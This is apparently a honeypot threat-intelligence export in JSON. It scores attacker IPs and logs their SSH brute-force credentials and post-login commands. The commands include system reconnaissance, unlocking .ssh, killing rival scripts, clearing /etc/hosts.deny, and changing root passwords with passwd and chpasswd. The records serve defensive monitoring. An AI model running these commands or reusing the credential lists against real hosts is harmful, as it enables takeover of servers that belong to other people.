      "first_seen": "2026-03-20T18:25:13.717Z",
      "last_seen": "2026-03-20T18:25:20.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140061,
      "as_org": "Qinghai Telecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:25:13.717000+00:00",
        "last_seen_30d": "2026-03-20T18:26:25.346000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.107.208.181": {
      "attack_count": 2,
      "first_seen": "2026-03-03T23:56:26.179Z",
      "last_seen": "2026-03-03T23:56:32.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "City of Saint Peters",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:56:26.179000+00:00",
        "last_seen_30d": "2026-03-03T23:57:36.440000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "24.199.120.7": {
      "attack_count": 2,
      "first_seen": "2026-03-26T15:18:40.480Z",
      "last_seen": "2026-03-26T15:18:40.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:18:40.480000+00:00",
        "last_seen_30d": "2026-03-26T15:19:42.476000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "4.233.190.23": {
      "attack_count": 2,
      "first_seen": "2026-03-27T08:55:24.680Z",
      "last_seen": "2026-03-27T08:55:55.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T08:55:24.680000+00:00",
        "last_seen_30d": "2026-03-27T08:57:00.817000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.116.179": {
      "attack_count": 2,
      "first_seen": "2026-03-18T12:39:50.842Z",
      "last_seen": "2026-03-18T12:40:03.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T12:39:50.842000+00:00",
        "last_seen_30d": "2026-03-18T12:41:08.912000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.54.37.22": {
      "attack_count": 2,
      "first_seen": "2026-03-25T23:27:08.090Z",
      "last_seen": "2026-03-25T23:27:23.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T23:27:08.090000+00:00",
        "last_seen_30d": "2026-03-25T23:28:23.919000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.67.78.70": {
      "attack_count": 1369,
      "first_seen": "2026-03-11T19:39:22.905Z",
      "last_seen": "2026-03-25T06:12:26.825Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "devops",
        "evan",
        "jitendra",
        "admin",
        "andres",
        "arun",
        "astra",
        "bbb",
        "boom",
        "caja",
        "ceshi",
        "cristi",
        "leo",
        "leonard",
        "mikrotik",
        "n8n",
        "user001",
        "aaa"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "12345678",
        "1qaz",
        "Aa12345678@",
        "Evan123",
        "andres123",
        "qwertyqwerty",
        "1",
        "1234abcd",
        "Boom123",
        "Ch123456",
        "Gbase123",
        "Ghost123!",
        "Leonard",
        "Mikrotik123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nHRX0G8UR87b6\\nHRX0G8UR87b6\\n\"|passwd",
        "echo \"12345\\nNaleaA15eiBV\\nNaleaA15eiBV\\n\"|passwd",
        "echo \"12345\\nxmmmjVvyMI85\\nxmmmjVvyMI85\\n\"|passwd",
        "echo \"123\\njO6CdLO6CwLY\\njO6CdLO6CwLY\\n\"|passwd",
        "echo \"Evan123\\n7vKBPTR8Y6rE\\n7vKBPTR8Y6rE\\n\"|passwd",
        "echo \"Evan123\\nlNtqaoNFDkAe\\nlNtqaoNFDkAe\\n\"|passwd",
        "echo \"Leonard\\nuXndUrgDmmDk\\nuXndUrgDmmDk\\n\"|passwd",
        "echo \"Mikrotik123!\\nQa8kb9HgFY6H\\nQa8kb9HgFY6H\\n\"|passwd",
        "echo \"astra123\\nUGIlPcnuQp7b\\nUGIlPcnuQp7b\\n\"|passwd",
        "echo \"bbb123!\\nIueTjQbaK1F5\\nIueTjQbaK1F5\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1631,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:39:22.905000+00:00",
        "last_seen_30d": "2026-03-25T06:13:32.834000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1369,
        "Suricata": 262
      }
    },
    "177.229.197.38": {
      "attack_count": 1012,
      "first_seen": "2026-03-06T06:27:00.767Z",
      "last_seen": "2026-03-21T11:20:18.917Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ts3",
        "ai",
        "cristi",
        "frappeuser",
        "git",
        "gits",
        "hugo",
        "sunshine",
        "ys",
        "admin",
        "alex",
        "bot1",
        "botuser",
        "controlm",
        "dev",
        "dis",
        "dockeruser",
        "emo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345",
        "password",
        "123456",
        "12345678",
        "0000",
        "1122332019",
        "1233218613",
        "123Password",
        "1A2b3c4d",
        "@qwer2025",
        "Abcd1234..",
        "Admin@1234",
        "Git123",
        "Ls123456",
        "Mark123",
        "Qaz123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nEVS3id0QryCm\\nEVS3id0QryCm\\n\"|passwd",
        "echo \"123456\\nmzYroa5FWdzm\\nmzYroa5FWdzm\\n\"|passwd",
        "echo \"1234\\nBbgZjrDhlOV3\\nBbgZjrDhlOV3\\n\"|passwd",
        "echo \"1234\\niKD04WPW2p6P\\niKD04WPW2p6P\\n\"|passwd",
        "echo \"123\\nHSyLkJv6ndlI\\nHSyLkJv6ndlI\\n\"|passwd",
        "echo \"Git123\\nmEV9i0q5fvEh\\nmEV9i0q5fvEh\\n\"|passwd",
        "echo \"Ys123\\nZWYzSvktLoFC\\nZWYzSvktLoFC\\n\"|passwd",
        "echo \"password\\nRxQwYVcqhkCS\\nRxQwYVcqhkCS\\n\"|passwd",
        "echo \"password\\nk2A9xARYoRrr\\nk2A9xARYoRrr\\n\"|passwd",
        "echo \"root:amsQ8yxxfvXk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tapachula",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1180,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:27:00.767000+00:00",
        "last_seen_30d": "2026-03-21T11:21:27.544000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1012,
        "Suricata": 168
      }
    },
    "58.98.197.137": {
      "attack_count": 890,
      "first_seen": "2026-03-07T22:23:21.115Z",
      "last_seen": "2026-03-24T01:19:28.572Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "nasuser",
        "u1",
        "claude",
        "web",
        "Admin",
        "comp",
        "md",
        "solr",
        "alexis",
        "bot1",
        "casa",
        "certftp",
        "cs",
        "deamon_root",
        "demon",
        "deploy",
        "dls",
        "elearn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "12345678",
        "password",
        "123456",
        "11221122",
        "Aa121314",
        "Ab123456@",
        "Admin",
        "Bot1123",
        "Lw123456",
        "Nasuser123",
        "P@ssw0rD",
        "Sami123",
        "Student5123",
        "U1123",
        "admin123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nNw6XlIdTshQi\\nNw6XlIdTshQi\\n\"|passwd",
        "echo \"123\\nBlGpcRPAdx7I\\nBlGpcRPAdx7I\\n\"|passwd",
        "echo \"Admin\\nrteGTxWQz2LC\\nrteGTxWQz2LC\\n\"|passwd",
        "echo \"Nasuser123\\nW0mwo3M3OShq\\nW0mwo3M3OShq\\n\"|passwd",
        "echo \"U1123\\nN7Nv3KxPW4cF\\nN7Nv3KxPW4cF\\n\"|passwd",
        "echo \"root:a8OR2XRYFNUO\"|chpasswd|bash",
        "echo \"solrpass\\nwxFB1ckBtEU3\\nwxFB1ckBtEU3\\n\"|passwd",
        "echo \"u1123\\nMrRdQKi4kiyJ\\nMrRdQKi4kiyJ\\n\"|passwd",
        "echo \"web@123\\niusbhwktOiGg\\niusbhwktOiGg\\n\"|passwd",
        "echo -e \"1234\\nNw6XlIdTshQi\\nNw6XlIdTshQi\"|passwd|bash",
        "echo -e \"123\\nBlGpcRPAdx7I\\nBlGpcRPAdx7I\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Futsukaichiminami",
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1079,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:23:21.115000+00:00",
        "last_seen_30d": "2026-03-24T01:20:32.229000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 890,
        "Suricata": 189
      }
    },
    "168.167.72.132": {
      "attack_count": 761,
      "first_seen": "2026-03-04T01:08:24.244Z",
      "last_seen": "2026-03-19T06:02:21.914Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "games",
        "innova",
        "jboss",
        "jhpark",
        "abhishek",
        "admin",
        "azureuser",
        "bwadmin",
        "controlm",
        "crawl",
        "dbadmin",
        "dhiraj",
        "felix",
        "hassan",
        "hdu",
        "incoming",
        "informix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "password",
        "#EDC2wsx",
        "1234",
        "12345",
        "12345678",
        "123456789a",
        "232323",
        "4321",
        "Bingo@1993",
        "Gg123456.",
        "Informix123!",
        "Jhpark123",
        "Odm123",
        "Sonarr123!",
        "Ubnt123",
        "Welcome@1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nI3mSteVXQUsy\\nI3mSteVXQUsy\\n\"|passwd",
        "echo \"Jhpark123\\nleTYsBH3hcui\\nleTYsBH3hcui\\n\"|passwd",
        "echo \"claude1\\nyXoeqkC9GYoN\\nyXoeqkC9GYoN\\n\"|passwd",
        "echo \"innova1234\\n3IFAQz3y5I3k\\n3IFAQz3y5I3k\\n\"|passwd",
        "echo \"jbosspass\\n3vaC8YAuzhnJ\\n3vaC8YAuzhnJ\\n\"|passwd",
        "echo \"root:N5O9uDzrpkN7\"|chpasswd|bash",
        "echo \"root:xzmvAeXPIsGO\"|chpasswd|bash",
        "echo -e \"12345678\\nI3mSteVXQUsy\\nI3mSteVXQUsy\"|passwd|bash",
        "echo -e \"Jhpark123\\nleTYsBH3hcui\\nleTYsBH3hcui\"|passwd|bash",
        "echo -e \"claude1\\nyXoeqkC9GYoN\\nyXoeqkC9GYoN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": "Gaborone",
      "asn": 14988,
      "as_org": "BTC-GATE1",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 928,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T01:08:24.244000+00:00",
        "last_seen_30d": "2026-03-19T06:03:26.215000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 761,
        "Suricata": 167
      }
    },
    "185.228.135.197": {
      "attack_count": 717,
      "first_seen": "2026-03-15T16:06:36.404Z",
      "last_seen": "2026-03-29T02:03:50.027Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pepe",
        "student2",
        "vas",
        "webapp",
        "arjun",
        "azureuser",
        "bitwarden",
        "bogdan",
        "cs",
        "elemental",
        "escaner",
        "ftpuser01",
        "informatica",
        "itadmin",
        "kirill",
        "lyt",
        "mgeweb",
        "otrs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "!QAZ2wsx3edc4rfv",
        "12122025",
        "123",
        "123.com.cn",
        "1234",
        "12345678",
        "147.741",
        "15121512",
        "666888",
        "A12345!",
        "Adminpassw",
        "Ai123456",
        "Bitwarden123!",
        "Bl@ckHa3k#",
        "Bogdan123",
        "Fz@123456",
        "Itadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nXpKSq4rc2aAG\\nXpKSq4rc2aAG\\n\"|passwd",
        "echo \"1234\\nKwhBeLgD7ezh\\nKwhBeLgD7ezh\\n\"|passwd",
        "echo \"Student2123\\nqWjwIuxkxutD\\nqWjwIuxkxutD\\n\"|passwd",
        "echo \"root:cW1xT9yaAY2H\"|chpasswd|bash",
        "echo \"root:wHOOPVfW3d3K\"|chpasswd|bash",
        "echo \"webapp123!\\nhGu41E2nky3Q\\nhGu41E2nky3Q\\n\"|passwd",
        "echo -e \"12345\\nXpKSq4rc2aAG\\nXpKSq4rc2aAG\"|passwd|bash",
        "echo -e \"1234\\nKwhBeLgD7ezh\\nKwhBeLgD7ezh\"|passwd|bash",
        "echo -e \"Student2123\\nqWjwIuxkxutD\\nqWjwIuxkxutD\"|passwd|bash",
        "echo -e \"webapp123!\\nhGu41E2nky3Q\\nhGu41E2nky3Q\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Sochi",
      "asn": 57354,
      "as_org": "SYSTEMA Ltd",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 893,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:06:36.404000+00:00",
        "last_seen_30d": "2026-03-29T02:04:55.845000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 717,
        "Suricata": 176
      }
    },
    "146.190.79.63": {
      "attack_count": 700,
      "first_seen": "2026-03-03T11:42:25.741Z",
      "last_seen": "2026-03-13T12:46:49.568Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "claude",
        "dhiraj",
        "hzy",
        "ben",
        "datacenter",
        "dell",
        "issabel",
        "support",
        "user",
        "vip1",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "$upp0rt",
        "123QWEqwe!@#",
        "1qa@WS3ed",
        "@a1234567",
        "AA123456+",
        "Aa!123456",
        "Azerty123@",
        "Bm123456@",
        "DJYLo@6.9196E-310G1",
        "Hzy123",
        "Pa$$w0rd12345",
        "Password2023!",
        "QWE123",
        "Qaz@123123",
        "Qaz@2024",
        "Qwer1234!@",
        "Wh123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Hzy123\\nBKk59948H3wU\\nBKk59948H3wU\\n\"|passwd",
        "echo \"aA.2024\\nkb8HJlNznXHe\\nkb8HJlNznXHe\\n\"|passwd",
        "echo \"adminadmin\\nONnZrnibFas7\\nONnZrnibFas7\\n\"|passwd",
        "echo \"dhiraj123!\\njZavWxbVrepn\\njZavWxbVrepn\\n\"|passwd",
        "echo \"root:APb9THYRmGLd\"|chpasswd|bash",
        "echo \"root:L4U8fGf8wOa2\"|chpasswd|bash",
        "echo \"root:nUkMnPUGZEOS\"|chpasswd|bash",
        "echo -e \"Hzy123\\nBKk59948H3wU\\nBKk59948H3wU\"|passwd|bash",
        "echo -e \"aA.2024\\nkb8HJlNznXHe\\nkb8HJlNznXHe\"|passwd|bash",
        "echo -e \"adminadmin\\nONnZrnibFas7\\nONnZrnibFas7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 834,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:42:25.741000+00:00",
        "last_seen_30d": "2026-03-13T12:47:53.031000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 700,
        "Suricata": 134
      }
    },
    "130.250.191.200": {
      "attack_count": 583,
      "first_seen": "2026-03-12T22:02:37.917Z",
      "last_seen": "2026-03-24T13:52:22.793Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "arjun",
        "botuser",
        "claude",
        "colin",
        "dheeraj",
        "hath",
        "httpd",
        "alexis",
        "ankit",
        "central",
        "cyber",
        "diego",
        "ec2-user",
        "ekp",
        "external",
        "fastuser",
        "github-runner",
        "intel",
        "jan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345678",
        "password",
        "123456",
        "12345",
        "1994",
        "Botuser123!",
        "Central123!",
        "Dheeraj123!",
        "Xx123!",
        "ankit",
        "colin1234",
        "ec2-userpass",
        "github-runnerpass",
        "intel123",
        "janpass",
        "odm123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n8jzE9LFGeIlI\\n8jzE9LFGeIlI\\n\"|passwd",
        "echo \"12345678\\naYme0DTSXXuy\\naYme0DTSXXuy\\n\"|passwd",
        "echo \"123\\nBeAAXL8rtBY4\\nBeAAXL8rtBY4\\n\"|passwd",
